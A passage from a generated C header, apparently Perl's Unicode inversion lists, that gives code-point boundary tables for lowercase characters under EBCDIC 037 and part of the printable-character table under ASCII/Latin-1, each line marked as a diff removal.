0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXLOWER_invlist[] = { /* for EBCDIC 037 */ - 1289, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXPRINT_invlist[] = { /* for ASCII/Latin1 */ - 1303, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2028, - 0x202A, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 